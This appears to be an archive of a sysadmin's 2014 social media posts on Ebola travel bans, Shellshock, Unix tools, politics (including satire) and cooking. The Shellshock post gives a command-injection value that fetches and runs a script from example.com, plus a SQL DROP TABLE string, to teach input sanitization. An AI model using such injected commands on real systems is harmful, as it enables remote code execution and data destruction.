Instead, knowing that under a travel ban they can face criminal penalties and, if they aren't citizens, deportation, they will not go directly to the hospital. They'll wait to see, maybe if it's the flu—flu season has now started, and it will be easy for them to hope that. In fact, if someone just here last week from West Africa becomes ill, it's much more likely they do have the flu, not Ebola.

But if they did carry Ebola with them, under a travel ban, once symptomatic they'll hide. Family members may become exposed while they care for them, or they may check into a hotel and expose staff. This happens in Guinea, Sierra Leone, and Liberia; it's how the outbreak became so dire. People who became symptomatic did not go to the hospital, because hospital facilities were overwhelmed or because there was suspicion about whether Ebola was really what public health officials said it was. And so family members take care of them, and they in turn become sick. Nearly always, that is how Ebola spreads, through taking care of a sick person.

A quarantine doesn't work unless it's nearly perfect. You may think our borders are "porous", but the border of Guinea and Liberia with Guinea-Bissau, Senegal, Mali, and Côte d'Ivoire¹ is 2,900 km, over 92% the length of the U.S.-Mexico border, through very rough terrain and between countries that have been in recent conflict.

I'm sorry to put it this way, but if you really don't care what happens in West Africa and you just want to keep Ebola from reaching the United States—if you really are "unmoved"—why are you engaging in magical thinking about what will happen under a travel ban? Why not, instead, do the logical thing and demand we carpet-bomb those three countries, or nuke them? At least then your policy might have a chance of actually keeping Ebola from reaching the U.S.

¹ Sierra Leone is entirely surrounded by Guinea and Liberia.___

2014-10-18 18:40:08 (52 comments, 1 reshares, 7 +1s)Open 

Ebola travel bans: like an American flag pin, except more murdery?

I don't think anything said by politicians since the 2009 response to the financial crisis has consistently gotten me so emotionally agitated as this week's demands for travel bans between West Africa and the U.S. in response to Ebola.

There is near-universal agreement among scientists that a travel ban would 1) not work as designed, 2) be devastating to efforts to fight Ebola in West Africa, and 3) would make it more, not less, likely for more Ebola cases to spread here.

Yet the politicians (mostly Republicans, but distressingly starting to include more and more Democrats) advocating these positions don't seem to care. It isn't just that they don't know the rationale for the expert opinion; when challenged by reporters with the facts, they dismiss them, sometimes even acknowledge... more »

Ebola travel bans: like an American flag pin, except more murdery?

I don't think anything said by politicians since the 2009 response to the financial crisis has consistently gotten me so emotionally agitated as this week's demands for travel bans between West Africa and the U.S. in response to Ebola.

There is near-universal agreement among scientists that a travel ban would 1) not work as designed, 2) be devastating to efforts to fight Ebola in West Africa, and 3) would make it more, not less, likely for more Ebola cases to spread here.

Yet the politicians (mostly Republicans, but distressingly starting to include more and more Democrats) advocating these positions don't seem to care. It isn't just that they don't know the rationale for the expert opinion; when challenged by reporters with the facts, they dismiss them, sometimes even acknowledge them, but double down on their demands.

(There was a memorable exchange on MSNBC's "Morning Joe" yesterday morning with Rep. Dennis Ross (R-FL), who wants to introduce a bill banning direct commercial flights to the U.S. from the three affected countries, during which Eugene Robinson of The Washington Post pointed out that there aren't any direct flights from there to the U.S. "I think you're wrong..." Ross started, then was interrupted by Robinson and Jeremy Peters of The New York Times, reiterating that there are, in fact, no direct flights.

("Oh, then we don't have a problem, everybody is contained, right?" Ross replied sarcastically, to which Peters responded that people fly indirectly to the U.S., usually through Europe. Ross literally rolled his eyes. "I never said it would solve the problem, but it's a step in the right direction." Uh. Words fail me.)

I'm reminded of Texas and capital punishment. When politicians advocating reducing avenues of appeal and "streamlining" the process so that the condemned can be executed more quickly, and they've been challenged with hard data showing that making such changes would increase the likelihood of innocent people being executed, their responses were basically along the lines of, "executing the innocent may be the price we have to pay, but it's worth it."

While I find that reasoning repugnant, at least I understand it. What truly has astonished me, though, is when these pols are presented with actual cases of known innocent people facing execution—when the argument ceases to be abstract—many still maintain their position, arguing not just that some unspecified innocent people must unfortunately be executed for the greater good, but that a particular innocent person should be because of some technicality that kept evidence of their innocence from being considered by the courts.

Again, at some level this is logically consistent—if you advocate a policy knowing that it will have the result of increasing the odds of a terrible outcome, you may be willing to advocate it even in the face of such an outcome. But yet it still seems like madness.

With Ebola, politicians who are caught by reporters and forced to respond to the undeniably bad consequences of a travel ban are doing something similar—acknowledging that such policy as implemented in the real world will cause bad outcomes, but insisting that, for purely emotional political reasons, it must be done anyway.

I heard analyst Richard Wolffe this morning likening it to an insistence on candidates wearing American flag pins on their lapels. It's stupid, and everyone knows it, and a political test like that is actually contrary to what that flag supposedly stands for, but everyone still has to do it for emotional, political reasons.

The big difference here is that wearing a flag pin doesn't condemn tens of thousands, possibly millions, to die. A travel ban is a terrible idea scientifically. To continue to advocate it—because it's extremely popular politically—in the face of the science, and knowing it will only make things worse, is craven and cynical politics at its very worst.___

2014-10-17 21:38:05 (7 comments, 14 reshares, 28 +1s)Open 

Congressman, do you believe the Sun revolves around the Earth?

To answer the question, ladies and gentlemen, I'm not a scientist, so I can't tell you authoritatively whether the Earth revolves around the Sun or not... I'm told that there's controversy about that, or there's been controversy, that the mainstream media doesn't tend to report. And I think Americans, at least the ones in this district, are smart people and they can go to the websites and find out the facts for themselves and make the judgment of how this argument affects them, what's right for them and their family.

But I think it is important to call out, whatever the science says, that Barack Hussein Obama's focus has never been to put the people at home first. So of course he's going to say the Sun is the center the Earth revolves around. He just doesn't care as much about... more »

Congressman, do you believe the Sun revolves around the Earth?

To answer the question, ladies and gentlemen, I'm not a scientist, so I can't tell you authoritatively whether the Earth revolves around the Sun or not... I'm told that there's controversy about that, or there's been controversy, that the mainstream media doesn't tend to report. And I think Americans, at least the ones in this district, are smart people and they can go to the websites and find out the facts for themselves and make the judgment of how this argument affects them, what's right for them and their family.

But I think it is important to call out, whatever the science says, that Barack Hussein Obama's focus has never been to put the people at home first. So of course he's going to say the Sun is the center the Earth revolves around. He just doesn't care as much about the people back home, like the good people who put me into office, for him to seriously give any consideration to the many negative effects of a Sun-first policy.To show concern for the many people in our district, who I get letters from every day, expressing their deeply held belief in Modern Scientific Geocentrism.

Not to mention the many more who think it would be reasonable to adopt, at the very least, a bipartisan position of neutrality between the Earth and the Sun, to give time to let the argument be fought out in the local communities, in the churches, in the courts. I've co-sponsored bills in each of the previous two sessions to ask the President to do exactly that. We passed this bill in the House once before, but Harry Reid wouldn't even allow a vote in the Senate. I think the people deserve a yes-or-no vote of the Congress.

But this is really about my opponent, Mr. Smith, and the Smith-Obama economy and the Smith-Obama solar system, which I think we can all agree is on the wrong track. Not even giving a fair hearing to real Sun-first policy concerns shows the disrespect, the contempt, he holds for the people who disagree with him, like most Americans do about ISIS, about Ebola, about Obamacare and the borders.

And on that, in the time remaining I'll just add that I have confirmation from my own contacts in the U.S. Border Patrol, who say the Sun crosses the border every day, sometimes twice a day, both on our north and on the border with Mexico. And with Ebola and ISIS out there, I think the people have a right to be legitimately concerned about that and ask the question of why this president has refused to get serious about securing our borders. It's the Sun today, but it could just as easily be members of ISIS carrying Ebola into the homeland tomorrow.

We need to have the real debate about the issues that matter to the people—the Smith-Obama economy, ISIS, Ebola, repealing Obamacare—but yet both Mr. Smith and you reporters just keep coming back to my support of teaching Modern Scientific Geocentrism in schools. The people of this district think their children deserve a good education for the 21st century, and they want the public schools to provide that education, but too many of my constituents have written me letters—like this one I have here, from Della Hobsnotch of Bonaflore, who wants to do right by her six children, the youngest, two-year-old Bella, I have her picture right here, isn't she darling?—but she can't in good conscience send her children to schools that are going to undermine her values by telling them her sincerely-held beliefs in the Sun going around the Earth are wrong.

And not only that, but Della and her husband are having to scrape to afford those five private-school tuitions on one paycheck after she lost her job at the college planetarium for those Constitutionally-protected beliefs. And that's why I'm co-sponsoring a bill to protect those with sincerely held scientific beliefs from discrimination in the workplace and in public accommodation. Mr. Smith, like Obama, supports the same protections for GL.. LTG... BLT... for the gays, so it's just plain hypocrisy for him to oppose this bill, and the people of this district are smart enough to see through that.

They know that something is very wrong in this country, and they know that this disrespect they're being shown for sincerely held scientific beliefs are part and parcel with all the other failed policies in the Smith-Obama administration, the Smith-Obama economy, on the border and ISIS. And Benghazi. And they're smart enough to see how the most radical administration in history has caused us to get onto the wrong track. And Ebola. Because they know America is the greatest nation on earth, on the greatest planet on Earth, which is what many of us sincerely believe the Sun goes around.

And that's what I would have said last night at the debate if the moderator from that liberal newspaper had stopped interrupting me and actually let me answer his question. Thank you for giving me the chance to do so here on your network.___

2014-10-17 18:07:27 (2 comments, 0 reshares, 2 +1s)Open 

Am I totally imagining that there is, or once was, a common version of the grep family that has (or had) a flag to force the pattern to match the entire line, as if you had used both anchors as in /^{pattern}$/?

(I accept the possibility that it's there in one of the man pages but I didn't use the right search terms.)

Update 14:48 EDT: Thanks to +Hugh Messenger for the answer, -x. I must have typod in searching for it, as the very first pattern I thought I searched for was "entire", but in the OS X manpage, the definition for the -x flag is (emphasis mine): "Only input lines selected against an entire fixed string or regular expression are considered to be matching lines."

Am I totally imagining that there is, or once was, a common version of the grep family that has (or had) a flag to force the pattern to match the entire line, as if you had used both anchors as in /^{pattern}$/?

(I accept the possibility that it's there in one of the man pages but I didn't use the right search terms.)

Update 14:48 EDT: Thanks to +Hugh Messenger for the answer, -x. I must have typod in searching for it, as the very first pattern I thought I searched for was "entire", but in the OS X manpage, the definition for the -x flag is (emphasis mine): "Only input lines selected against an entire fixed string or regular expression are considered to be matching lines."___

2014-10-17 17:26:01 (9 comments, 0 reshares, 1 +1s)Open 

I understand they often pre-record on-location packages for news shows, and so the "banter" between a live anchor and a recorded correspondent is simulated; it's silly, but it's mostly harmless, it saves the anchor from having to say "earlier I spoke to...", and usually it's not noticeable, unless the time of day is wrong or something.

But today, I've been leaving the news on waiting for a press conference and I'm getting really irked at the anchors telling recordings of reporters in Bermuda to "stay safe" in the coming hurricane.

I really don't know why, but it's making me want to scream.

I understand they often pre-record on-location packages for news shows, and so the "banter" between a live anchor and a recorded correspondent is simulated; it's silly, but it's mostly harmless, it saves the anchor from having to say "earlier I spoke to...", and usually it's not noticeable, unless the time of day is wrong or something.

But today, I've been leaving the news on waiting for a press conference and I'm getting really irked at the anchors telling recordings of reporters in Bermuda to "stay safe" in the coming hurricane.

I really don't know why, but it's making me want to scream.___

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2014-10-17 15:44:35 (0 comments, 0 reshares, 0 +1s)Open 

Wow, just did a df on my MacBook Pro and saw a filesystem called /Volumes/MobileBackups I hadn't noticed before. Turns out a real consumer Unix OS has channeled the entomb patches that Perdue did to their Unix kernels¹ in the 80's to catch all file deletion calls at the filesystem level in order to make Unix "undelete" possible.

And it's been around for years. I really need to pay more attention to OS X internals; I don't admin OS X for money so I don't have a pecuniary interest in keeping up with internals like I do with, say, Linux, but I do spend a disproportionate amount of time actually working with an OS X box....

(One of the first rules we taught pimply-faced youths² coming into Unix sysadmin for the first time—back in the days before Linux and OS X when it wasn't likely they'd ever had root on a Unix box before—was there is noundel... more »

Wow, just did a df on my MacBook Pro and saw a filesystem called /Volumes/MobileBackups I hadn't noticed before. Turns out a real consumer Unix OS has channeled the entomb patches that Perdue did to their Unix kernels¹ in the 80's to catch all file deletion calls at the filesystem level in order to make Unix "undelete" possible.

And it's been around for years. I really need to pay more attention to OS X internals; I don't admin OS X for money so I don't have a pecuniary interest in keeping up with internals like I do with, say, Linux, but I do spend a disproportionate amount of time actually working with an OS X box....

(One of the first rules we taught pimply-faced youths² coming into Unix sysadmin for the first time—back in the days before Linux and OS X when it wasn't likely they'd ever had root on a Unix box before—was there is no undelete. "Undelete" programs were one of the first forays many budding young sysadmins in the late 80's and early 90's would make into probing their computer's guts, so they were often shocked that an "advanced" OS like Unix couldn't do a "simple" thing like their Windows and Mac boxes at home could.

(The PFY's would often show off by "inventing" their own undelete, by replacing rm with a quarantining, but then you showed them that it didn't help with an errant command redirection, let alone a program directly overwriting a file, and they'd either decide they were still young padawans who had much to learn, or that this Unix thing was stupid because it made them feel stupid. Which reaction they had told you much about their future prospects.)

¹ BSD, I assume? My memory is fuzzy and it doesn't look like anyone's written about it much on the web.

² A term that was firmly entrenched at the time, but which I now realize could be interpreted as a sexist and ageist assumption that all junior hires would be barely post-adolescent boys. Since I learned the expression from one of the smartest sysadmin mentors I ever had, and she was a woman, maybe it isn't sexist (boys don't have a monopoly on pimples,after all; they just have a corner on the market).___

2014-10-16 19:27:02 (8 comments, 0 reshares, 9 +1s)Open 

Unbelievable. More thoughts coming on the Congressional hearing that just wrapped up on Ebola response, but one thing made my jaw drop:

I heard at least three Republican members on the committee pressing Dr. Frieden of the CDC about the mode of transmission to the two nurses in Dallas—a reasonable question, if it stopped there. But they seemed to be at least hinting that they worried that Ebola is now airborne, and the CDC is either covering this "fact" up, or willfully ignoring it.

Be afraid, very afraid. (Not of Ebola; of the oversight committee and some of its members.)

Unbelievable. More thoughts coming on the Congressional hearing that just wrapped up on Ebola response, but one thing made my jaw drop:

I heard at least three Republican members on the committee pressing Dr. Frieden of the CDC about the mode of transmission to the two nurses in Dallas—a reasonable question, if it stopped there. But they seemed to be at least hinting that they worried that Ebola is now airborne, and the CDC is either covering this "fact" up, or willfully ignoring it.

Be afraid, very afraid. (Not of Ebola; of the oversight committee and some of its members.)___

2014-10-09 17:11:47 (6 comments, 0 reshares, 0 +1s)Open 

Anyone know: can I share an MP3 of my own performance on Google+?

I uploaded it to Google Play Music and clicked Share, but it created a post containing a link to someone else's rendition of the same. On a Christmas album, no less. (I'm just glad I didn't play it so poorly that the algorithm couldn't identify it! :-)

It's Bach, so no copyright issues apply.

I could upload it to YouTube—but then I'd really feel an obligation to lay some kind of video over it—or to one of the music-sharing sites—but I'd have to figure out which one to use, how to make an account, how to upload and share, blah blah blah.

Anyone know: can I share an MP3 of my own performance on Google+?

I uploaded it to Google Play Music and clicked Share, but it created a post containing a link to someone else's rendition of the same. On a Christmas album, no less. (I'm just glad I didn't play it so poorly that the algorithm couldn't identify it! :-)

It's Bach, so no copyright issues apply.

I could upload it to YouTube—but then I'd really feel an obligation to lay some kind of video over it—or to one of the music-sharing sites—but I'd have to figure out which one to use, how to make an account, how to upload and share, blah blah blah.___

2014-10-06 17:13:28 (9 comments, 0 reshares, 0 +1s)Open 

What do you do with semi-temporary files?

Opinions wanted: Lately I find myself using Emacs more and more frequently to edit files that I will then publish via cut-and-paste or edit-server into a web interface. (Gmail, blogs, G+, etc.)

I don't want to use a scratch buffer or to store the files in /tmp because the reasons I'm using Emacs are a) the better editing experience and b) crash protection, and scratch buffers or /tmp negate b).

I've been using a ~/tmp for this, but since it isn't janitored like /tmp, they accumulate. It seems like the best option for now, and I could set up my own janitoring via cron or something, but I'm curious what others do?

What do you do with semi-temporary files?

Opinions wanted: Lately I find myself using Emacs more and more frequently to edit files that I will then publish via cut-and-paste or edit-server into a web interface. (Gmail, blogs, G+, etc.)

I don't want to use a scratch buffer or to store the files in /tmp because the reasons I'm using Emacs are a) the better editing experience and b) crash protection, and scratch buffers or /tmp negate b).

I've been using a ~/tmp for this, but since it isn't janitored like /tmp, they accumulate. It seems like the best option for now, and I could set up my own janitoring via cron or something, but I'm curious what others do?___

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2014-10-06 16:48:46 (1 comments, 2 reshares, 0 +1s)Open 

While I'm hesitant to endorse a Daily Mail story and would definitely suggest you read the details with a large grain of salt, Ashoka Mukpo's background is fascinating. This is the sort of personal detail that U.S. news outlets tend to shy away from unless talking about celebrities, political figures or the perpetrators or victims of crimes.

While I'm hesitant to endorse a Daily Mail story and would definitely suggest you read the details with a large grain of salt, Ashoka Mukpo's background is fascinating. This is the sort of personal detail that U.S. news outlets tend to shy away from unless talking about celebrities, political figures or the perpetrators or victims of crimes.___

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2014-10-06 14:55:20 (38 comments, 1 reshares, 12 +1s)Open 

SCOTUS non-decision gives eleven new states marriage equality

The Supreme Court's unexpected decision this morning not to hear—"denying cert" of— any of the five marriage equality cases in three U.S. circuits that have ruled for an equal right to marry means that several states where there had not yet been a ruling now have same-sex marriage rights as well.

This isn't quite automatic—the Orange County, North Carolina clerk, say, would probably be overstepping his bounds to grant marriage licenses based on the idea that, because same-sex marriage is now the law of the circuit, because SCOTUS didn't take the 4th Circuit's case regarding Virginia's marriage ban, therefore same-sex couples in Chapel Hill have a right to marry. That's a few too many inferences for a clerk of court to make, even if each inference is absolutelyneces... more »

SCOTUS non-decision gives eleven new states marriage equality

The Supreme Court's unexpected decision this morning not to hear—"denying cert" of— any of the five marriage equality cases in three U.S. circuits that have ruled for an equal right to marry means that several states where there had not yet been a ruling now have same-sex marriage rights as well.

This isn't quite automatic—the Orange County, North Carolina clerk, say, would probably be overstepping his bounds to grant marriage licenses based on the idea that, because same-sex marriage is now the law of the circuit, because SCOTUS didn't take the 4th Circuit's case regarding Virginia's marriage ban, therefore same-sex couples in Chapel Hill have a right to marry. That's a few too many inferences for a clerk of court to make, even if each inference is absolutely necessary.

But those inferences are absolutely necessary, and it's about as close to automatic as it can be; it's hard to see any justification for any court in any of these three circuits from denying marriage rights.

That means, if I'm counting correctly, that 11 states as of today have a legal right to same-sex marriage (and should have the ability to marry very shortly):
• From the Virginia case in the 4th Circuit: also North Carolina, South Carolina, West Virginia (Maryland already had equal marriage)
• From the Wisconsin and Indiana cases in the 7th Circuit (Illinois already had equal marriage)
• From the Oklahoma and Utah cases in the 10th Circuit: also Kansas, Wyoming, Colorado (New Mexico already had equal marriage)

The states whose cases were not heard by the Supreme Court today had stays that should be dissolving immediately, thus granting marriage rights as soon as the courts can gavel—today or tomorrow most likely. The other 6 states, I believe, all have cases in progress that can now have a simple motion that will grant rights in those states as well (can someone verify that?).

In any case, the nationwide decision will have to wait for another day. Most likely at this moment: the 6th Circuit will become the first to rule in favor of a marriage ban later this year, in which case we'll have a circuit split and SCOTUS will take that case to resolve the split—by far, the most common reason the Court grants certiorari. Or, another circuit may decide between now and October 2015, and SCOTUS will take that case instead.

Again, if my count's right, I think that brings to 30 the total number of states now having same-sex marriage rights.

Update 11:13 EDT: I swapped the number of circuits—three—and the number of cases—five—a couple places above. Corrected. I also see that other sources with actual legal experts are now referring to the number 11 as well, so I'm relieved that my count seems correct. I was doing it by comparing the list of cases to the U.S. Circuits map cross-referenced to the state-by-state map of marriage equality status, so I was afraid I missed something.

#SCOTUS #GayMarriage #MarriageEquality___

2014-10-04 18:09:45 (2 comments, 0 reshares, 0 +1s)Open 

Ahh, Texas justice.... Someone remind me: do they use the stocks, the pillory or the pranger for aggravated lousiness with third-degree mayhem?

Ahh, Texas justice.... Someone remind me: do they use the stocks, the pillory or the pranger for aggravated lousiness with third-degree mayhem?___

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2014-10-03 21:20:16 (7 comments, 5 reshares, 24 +1s)Open 

Why does Google Now have two Spanish voices?
¿Por qué Google Now tiene dos voces españolas?
 
I just stumbled across this weirdness... ask Google Now to translate something to Spanish, and it uses one voice. Use Google Translate, or even hit the speak button on the Google Now card to get it to repeat, and it uses a different voice. What gives? Other languages don't do this.

Here's a video I took (of a Nexus 7) showing the issue.

(I happen to think the Google Now voice is nicer and more emotive.)

#googlenow   #googletranslate  

Why does Google Now have two Spanish voices?
¿Por qué Google Now tiene dos voces españolas?
 
I just stumbled across this weirdness... ask Google Now to translate something to Spanish, and it uses one voice. Use Google Translate, or even hit the speak button on the Google Now card to get it to repeat, and it uses a different voice. What gives? Other languages don't do this.

Here's a video I took (of a Nexus 7) showing the issue.

(I happen to think the Google Now voice is nicer and more emotive.)

#googlenow   #googletranslate  ___

2014-10-03 15:52:13 (5 comments, 1 reshares, 14 +1s)Open 

Oh, dear. MSNBC anchor Alex Witt: "Today marks the [Obamas'] 22nd wedding anniversary. Molotov!" #yiddish   #oopsie  

Oh, dear. MSNBC anchor Alex Witt: "Today marks the [Obamas'] 22nd wedding anniversary. Molotov!" #yiddish   #oopsie  ___

2014-10-01 20:45:14 (4 comments, 0 reshares, 2 +1s)Open 

Do I just not get how the YouTube Android app works with Chromecast, or is it true that if I want to watch five videos in order on the Chromecast, I must first add videos 2 through 5 to the TV Queue in that order, and then play video 1?

It's surprisingly irritating, since it often means I'm looking at some video, thinking "ah, I'd like to watch this, then that, then that, then that", and when I'm done adding "that", "that", and "that" to the TV queue, I have to remember what "this" was and find it again to play it.

Is there a clever workaround?

Do I just not get how the YouTube Android app works with Chromecast, or is it true that if I want to watch five videos in order on the Chromecast, I must first add videos 2 through 5 to the TV Queue in that order, and then play video 1?

It's surprisingly irritating, since it often means I'm looking at some video, thinking "ah, I'd like to watch this, then that, then that, then that", and when I'm done adding "that", "that", and "that" to the TV queue, I have to remember what "this" was and find it again to play it.

Is there a clever workaround?___

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2014-10-01 15:21:40 (0 comments, 3 reshares, 12 +1s)Open 

In-freakin-credible. Levar Jones was handcuffed as he lay on the ground bleeding, pleading and apologizing. Not that surprising, I guess, assuming the trooper, Sean Groubert, was still treating him as a suspect. But the last moments of this interview with Chris Hayes are completely mind-blowing. They left him handcuffed, to the gurney in the hospital, until midnight, well after they were fully aware of the reality of Officer Groubert's error.

And apparently, they would have left him handcuffed all night, except... bah, I'll just let you watch—if you really want your blood to boil.

Update 11:28 EDT: I just want to note for the record that the South Carolina Highway Patrol—in contrast to the Ferguson and St. Louis County police departments' handling of events there in August—seems to have dealt with this promptly and decisively; Officer Groubert is now formerOffic... more »

In-freakin-credible. Levar Jones was handcuffed as he lay on the ground bleeding, pleading and apologizing. Not that surprising, I guess, assuming the trooper, Sean Groubert, was still treating him as a suspect. But the last moments of this interview with Chris Hayes are completely mind-blowing. They left him handcuffed, to the gurney in the hospital, until midnight, well after they were fully aware of the reality of Officer Groubert's error.

And apparently, they would have left him handcuffed all night, except... bah, I'll just let you watch—if you really want your blood to boil.

Update 11:28 EDT: I just want to note for the record that the South Carolina Highway Patrol—in contrast to the Ferguson and St. Louis County police departments' handling of events there in August—seems to have dealt with this promptly and decisively; Officer Groubert is now former Officer Groubert, and has been charged with highly aggravated assault and battery, the most serious non-lethal assault charge on state books, carrying a punishment of up to 20 years in jail.___

2014-10-01 14:11:13 (10 comments, 0 reshares, 4 +1s)Open 

Did they test the Dallas ambulance crew just for the PR of saying they got negative results, or do they have a new test that can confirm Ebola before it's symptomatic?

Update: They have also quarantined the crew for the standard 21 days, so I assume it's either a) PR, b) for research purposes (no one's sure exactly when the test has useful sensitivity), or c) just something to do, since there isn't a lot that can be done.

Did they test the Dallas ambulance crew just for the PR of saying they got negative results, or do they have a new test that can confirm Ebola before it's symptomatic?

Update: They have also quarantined the crew for the standard 21 days, so I assume it's either a) PR, b) for research purposes (no one's sure exactly when the test has useful sensitivity), or c) just something to do, since there isn't a lot that can be done.___

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2014-09-28 20:03:37 (2 comments, 0 reshares, 0 +1s)Open 

The instructions on using Migration Assistant specifically say "run Software Update on the source machine before using", but apparently that's not such a good idea when the update's newer than the new Mac! :-(

The instructions on using Migration Assistant specifically say "run Software Update on the source machine before using", but apparently that's not such a good idea when the update's newer than the new Mac! :-(___

2014-09-28 15:27:42 (54 comments, 5 reshares, 33 +1s)Open 

The thing that shocks me about Shellshock isn't that the bug was in bash, or even that it was in bash for 22+ years before being discovered (how old will I be when I last deal with a bug from before my career even started?); it's that so much software that's been used to exploit Shellshock passed environment variables willy-nilly on to a shell in the first place.

I've got nearly every snippet of random code I've written for myself in that entire period, and doing some spot checks, I see that until 1997, I never bothered with any serious checks of external input at all except for assertion-maintaining checks¹ and Perl tainting (which is actually pretty darn good, for pre-1997 state-of-the-art). But that was as much because I was writing things purely for myself and rarely wrote anything that talked to the network as because I wasn't very sophisticated in security practice... more »

The thing that shocks me about Shellshock isn't that the bug was in bash, or even that it was in bash for 22+ years before being discovered (how old will I be when I last deal with a bug from before my career even started?); it's that so much software that's been used to exploit Shellshock passed environment variables willy-nilly on to a shell in the first place.

I've got nearly every snippet of random code I've written for myself in that entire period, and doing some spot checks, I see that until 1997, I never bothered with any serious checks of external input at all except for assertion-maintaining checks¹ and Perl tainting (which is actually pretty darn good, for pre-1997 state-of-the-art). But that was as much because I was writing things purely for myself and rarely wrote anything that talked to the network as because I wasn't very sophisticated in security practice (I wasn't, but who was?).

Then, suddenly starting in 1997, I never again wrote code that called external code with user input without taking the most paranoid sanity-checking measures. I blanked my environment and rebuilt it safely before making an external call. I always used the multi-argument form of exec calls². I sanitized every input, sometimes twice if the UI and the backend were separable. Once I got in the habit, I just never stopped.

And it became weird not to do it, to the point that when I saw a single-argument exec it just seemed wrong. (In fact, at Google, my code reviewers sometimes admonished me to remove my checks. When you're writing purely internal tools code, such checks are kind of silly when all the possible users of the code already have the access to do whatever they like. It's a bit like the tools you'll sometimes find that require a password, even if you're already running as the superuser. An inconvenient speedbump that doesn't actually increase security in any significant way.)

That all these tools were calling bash with a ream of unsanitized environment variables just pushed through raw seems totally strange to me. The idea of bash needing better security just makes me giggle a bit. Bash is a thing that can run arbitrary commands on your system. That's its purpose. Saying bash needs better security features on the input end seems like saying that a chef's knife needs better child-safety features. You're supposed to keep the thing away from the those who would pose a danger if they posessed it, not make it safer for when they do.

Some have called the efforts to patch Bash "whack-a-mole". I think that's likely, because Bash was never designed to be secure in the first place. Another bad simile: it's like saying the car engine has a fault because, when hotwired, it will run even without a key. Yep, some car engines actually do have an ignition interlock that requires a key, but that's kind of the point: it's for the specific and rare case where the operator of the car is untrusted. Securing bash would only be ultimately useful for the purpose of giving a command-line to users you don't trust. There are tailor-made restricted shells for this purpose; I'd daresay they're better candidates for this kind of thing, too.


¹ There's a better name for that, but it escapes me at the moment. Basically, checks of user input that aren't strictly security-related but rather ensure data integrity by accepting only pre-normalized data before passing it through raw. Like, if I expect a date of the form "1996-04-01", my rejecting anything that doesn't look like that happens to reject "1996-04-01'); DROP TABLE USERS;", but that's merely a side effect of trying to reject things like "04/01/1996", which are malformed but not actually security threats.

There's an old adage, Postel's Law, about designing robust distributed systems: "be liberal in what you accept and conservative in what you send". It means that in the example above, I really should have accepted "04/01/1996" and dealt with it, but only pass on "1996-04-01" even if I got the other form. But when you're writing tools for yourself, it's often easiest to be equally conservative in what you accept, since the only one who has to deal with the "stupid code" is the stupid idiot who wrote the stupid code, namely, that stupid idiot you see in the mirror.

² What that means in a nutshell is understandable even if you don't code, provided you have used a command line shell. In newer languages (Scala, Haskell, etc.) and in very high level non-shell languages (Perl, Python, Ruby, and so on), you can make calls to external programs (what we call "the exec family" because a lot of them are called exec or something that starts with exec, though the most common in the VHLL's is called system) one of two ways: either with a single string that exactly matches what you'd type to a command line, like
  system("rm -rf /tmp/tmpdir")
or you can call it with the arguments split up, like:
  system("/bin/rm", "-rf", "/tmp/tmpdir")

The two are (more or less) exactly equivalent above. The latter is more secure, however, when you introduce some external input. Say you save your temp directory with a projectname. That would be something like:
  system("rm -rf /tmp/tmpdir_" + projectname)
to give you "rm -rf /tmp/tmpdir_myproject" when projectname was "myproject".

But what if what you got was "myproject; curl -O http://example.com/badscript.sh; bash badscript.sh"? In the above, you run the equivalent of "rm -rf /tmp/tmpdir_myproject; curl -O http://example.com/badscript.sh; bash badscript.sh", downloading and running some (presumably scary) script.

OTOH, if you use the multi-argument form, you'd do:
  system("/bin/rm", "-rf", "/tmp/tmpdir_" + projectname)
Which would insist that the rm command deal with everything it gets in projectname, once appended to "/tmp/tmpdir_", as a directory. It would fail because presumably there's no directory called "/tmp/tmpdir_myproject; curl -O http://example.com/badscript.sh; bash badscript.sh".___

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2014-09-27 17:40:18 (0 comments, 0 reshares, 6 +1s)Open 

This one weird trick that eliminates 30 pounds of weight

I've been doing some cooking sous vide recently, and a real hassle is after the cooking is done: getting 30 pounds of hot water out of the tank. I put the tank near the sink for ease in filling, but still, tipping it into the sink is difficult and likely to splash back. Besides, I'd really like to drain the tank, so I don't have to lift the hot, waterlogged immersion circulator out of the water.

A couple of weeks ago, I happened to notice one of these sitting in my junk drawer: a hose that connects to a CamelBak bottle. I thought it would be useful for biking, but I found it more trouble than it was worth—now, I just attach the bottle to a carabiner on my shoulder strap at the correct height for sipping. It works just as well—and doesn't have any fuss or mess when I'm done biking.

So thishos... more »

This one weird trick that eliminates 30 pounds of weight

I've been doing some cooking sous vide recently, and a real hassle is after the cooking is done: getting 30 pounds of hot water out of the tank. I put the tank near the sink for ease in filling, but still, tipping it into the sink is difficult and likely to splash back. Besides, I'd really like to drain the tank, so I don't have to lift the hot, waterlogged immersion circulator out of the water.

A couple of weeks ago, I happened to notice one of these sitting in my junk drawer: a hose that connects to a CamelBak bottle. I thought it would be useful for biking, but I found it more trouble than it was worth—now, I just attach the bottle to a carabiner on my shoulder strap at the correct height for sipping. It works just as well—and doesn't have any fuss or mess when I'm done biking.

So this hose was sitting there unused, and I realized: siphon! Of course I could use any other long tubing I happened to have around (i.e., none), but this is particularly good for the task, for a few reasons. One: it has a one-way valve at the end meant to be attached to the bottle. A one-way valve is good for a siphon, because you don't have to maintain suction. The shape of the one-way valve, with flanges meant for clamping onto the bottle, is good, too, because it keeps the tube from sucking onto the wall of the tank and stopping the flow.

It also has a manual valve at the other end (that's the yellow part), which is good because you don't have to be speedy about getting the outlet end below the level of the drain end—you can just turn the valve when the tube is sufficiently filled, then lower it to the sink and turn the valve again to begin draining.

As shipped, this actually has three valves: there's a bite valve just beyond the manual valve meant for hands-free sipping (one of the features that made CamelBak famous). But you don't want that one for this purpose; just pull it off (it's meant to be removed for cleaning, so that's easy).

Then drop the one-way flanged end into the tank, open the yellow valve, suck enough water to just about reach the valve—another nice thing about this, it's translucent, so you can see the water's transit through the tube and you don't end up with hot, invariably slightly smelly¹ water in your mouth—close the valve, put that end down into the sink, and open the valve. Presto, drainage!

I've seen recommendations to bail out water baths until they're light enough to empty easily, but this is so much easier. The flanged end is not buoyant, so it drains almost everything out the tank—my tank has a raised floor with a channel around the perimeter for stacking, so by putting the drain into that channel I really get almost all the water out; last time I checked, out of 4 gallons it left only a quarter-cup in the bottom! It takes ten minutes or so, but it's totally unattended.

Bernoulli FTW!


¹ Maybe it speaks to the quality of my vacuum bags or the seal, but after a few hours my bath water always ends up smelling slightly piggy/beefy/whatever. My bags have one-way gas valves, so it's probably just expanding air escaping, carrying some aroma with it.___

2014-09-26 20:06:49 (2 comments, 0 reshares, 3 +1s)Open 

